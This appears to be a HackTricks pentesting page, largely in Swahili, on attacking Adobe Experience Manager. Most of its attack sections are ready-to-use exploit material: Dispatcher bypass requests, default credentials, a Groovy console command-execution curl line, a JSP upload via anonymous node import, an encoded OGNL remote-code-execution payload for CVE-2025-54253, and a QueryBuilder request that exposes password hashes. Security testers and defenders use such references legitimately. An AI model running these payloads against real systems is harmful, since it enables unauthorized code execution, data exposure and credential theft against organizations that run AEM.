AEM (Adobe Experience Manager) Pentesting

Tip

Jifunze na fanya mazoezi ya AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Jifunze na fanya mazoezi ya GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Jifunze na fanya mazoezi ya Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Support HackTricks

• Angalia mpango wa usajili!
• Jiunge na 💬 kikundi cha Discord au kikundi cha telegram au tufuatilie kwenye Twitter 🐦 @hacktricks_live.
• Shiriki mbinu za hacking kwa kuwasilisha PRs kwa HackTricks na HackTricks Cloud repos za github.

Adobe Experience Manager (AEM, part of the Adobe Experience Cloud) ni CMS ya shirika inayofanya kazi juu ya Apache Sling/Felix (OSGi) na Java Content Repository (JCR). Kwa mtazamo wa mshambulizi, instances za AEM mara nyingi huonyesha development endpoints hatari, kanuni dhaifu za Dispatcher, default credentials na safu ndefu ya CVEs ambazo zinarekebishwa kila robo.

Orodha ya ukaguzi hapa chini inalenga externally reachable (unauth) attack surface ambayo mara kwa mara inaonekana katika real engagements (2022-2026).

1. Fingerprinting

$ curl -s -I https://target | egrep -i "aem|sling|cq"
X-Content-Type-Options: nosniff
X-Dispatcher: hu1            # header added by AEM Dispatcher
X-Vary: Accept-Encoding

Other quick indicators:

• /etc.clientlibs/ static path present (returns JS/CSS).
• /libs/granite/core/content/login.html ukurasa wa kuingia wenye bango la “Adobe Experience Manager”.
• </script><!--/* CQ */--> maoni kwenye mwisho wa HTML.

2. Endpoints zisizo na uthibitisho zenye thamani kubwa

Dispatcher bypass tricks (still working in 2025/2026)

Mara nyingi tovuti za uzalishaji ziko nyuma ya Dispatcher (reverse-proxy). Sheria za filter mara nyingi hupitishwa kwa kutumia wahusika walioencoded au extensions za static zilizokubaliwa.

Classic semicolon + allowed extension

GET /bin/querybuilder.json;%0aa.css?path=/home&type=rep:User HTTP/1.1

Encoded slash bypass (2025 KB ka-27832)

GET /%2fbin%2fquerybuilder.json?path=/etc&1_property=jcr:primaryType HTTP/1.1

If the Dispatcher allows encoded slashes, this returns JSON even when /bin is supposedly denied.

3. Mipangilio yasiyo sahihi ya kawaida (bado yapo 2026)

1. Anonymous POST servlet – POST /.json with :operation=import inakuwezesha kuingiza node mpya za JCR. Blocking *.json POST in the Dispatcher kunarekebisha.
2. World-readable user profiles – ACL ya default inampa kila mtu jcr:read kwenye /home/users/**/profile/*.
3. Default credentials – admin:admin, author:author, replication:replication.
4. WCMDebugFilter enabled ⇒ reflected XSS via ?debug=layout (CVE-2016-7882, bado inapatikana kwenye installs za legacy 6.4).
5. Groovy Console exposed – remote code execution kwa kutuma Groovy script:

curl -u admin:admin -d 'script=println "pwn".execute()' https://target/bin/groovyconsole/post.json

6. Dispatcher encoded-slash gap – /bin/querybuilder.json and /etc/truststore.json zinafikiwa kwa %2f/%3B hata wakati zimezuiwa na path filters.
7. AEM Forms Struts devMode left enabled – /adminui/debug?expression= huendesha OGNL bila auth (CVE-2025-54253) ikisababisha unauth RCE; pamoja na XXE kwenye submission ya Forms (CVE-2025-54254) inaruhusu kusoma faili.

4. Udhaifu za hivi karibuni (service-pack cadence)

Always check the APSB bulletin matching the customer’s service-pack and push for the latest 6.5.24 (Nov 26, 2025) or Cloud Service 2025.12. AEM Forms on JEE requires its own add-on hotfix 6.5.0-0108+.

5. Exploitation snippets

5.1 RCE via dispatcher bypass + JSP upload

If anonymous write is possible:

# 1. Create a node that will become /content/evil.jsp
POST /content/evil.jsp;%0aa.css HTTP/1.1
Content-Type: application/x-www-form-urlencoded

:contentType=text/plain
jcr:data=<% out.println("pwned"); %>
:operation=import

Sasa omba /content/evil.jsp – JSP inakimbia kwa mtumiaji wa mchakato wa AEM.

5.2 SSRF to RCE (historical < 6.3)

/libs/mcm/salesforce/customer.html;%0aa.css?checkType=authorize&authorization_url=http://127.0.0.1:4502/system/console aem_ssrf2rce.py kutoka kwa aem-hacker inaotomatisha mnyororo mzima.

5.3 OGNL RCE on AEM Forms JEE (CVE-2025-54253)

# Unauth devMode OGNL to run whoami
curl -k "https://target:8443/adminui/debug?expression=%23cmd%3D%27whoami%27,%23p=new%20java.lang.ProcessBuilder(%23cmd).start(),%23out=new%20java.io.InputStreamReader(%23p.getInputStream()),%23br=new%20java.io.BufferedReader(%23out),%23br.readLine()"

Ikiwa dhaifu, mwili wa HTTP unaonyesha matokeo ya amri.

5.4 QueryBuilder hash disclosure (encoded slash bypass)

GET /%2fbin%2fquerybuilder.json?path=/home&type=rep:User&p.hits=full&p.nodedepth=2&p.offset=0 HTTP/1.1

Inarudisha node za watumiaji zikiwemo hash za rep:password wakati anonymous read ACLs ziko kwa default.

6. Vifaa

• aem-hacker – script ya enumeration ya Swiss-army, inasaidia dispatcher bypass, SSRF detection, default-creds checks na zaidi.

python3 aem_hacker.py -u https://target --host attacker-ip

• Tenable WAS plugin 115065 – Inagundua QueryBuilder hash disclosure & encoded-slash bypass moja kwa moja (ilichapishwa Desemba 2025).
• Content brute-force – omba kwa mfululizo /_jcr_content.(json|html) ili kugundua vipengele vilivyofichwa.
• osgi-infect – pakia bundle ya OSGi yenye madhara kupitia /system/console/bundles ikiwa creds zinapatikana.

Marejeo

• Adobe Security Bulletin APSB25-115 – Security updates for Adobe Experience Manager (Dec 9, 2025)
• BleepingComputer – Adobe issues emergency fixes for AEM Forms zero-days (Aug 5, 2025)

Tip

Jifunze na fanya mazoezi ya AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Jifunze na fanya mazoezi ya GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Jifunze na fanya mazoezi ya Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Support HackTricks

• Angalia mpango wa usajili!
• Jiunge na 💬 kikundi cha Discord au kikundi cha telegram au tufuatilie kwenye Twitter 🐦 @hacktricks_live.
• Shiriki mbinu za hacking kwa kuwasilisha PRs kwa HackTricks na HackTricks Cloud repos za github.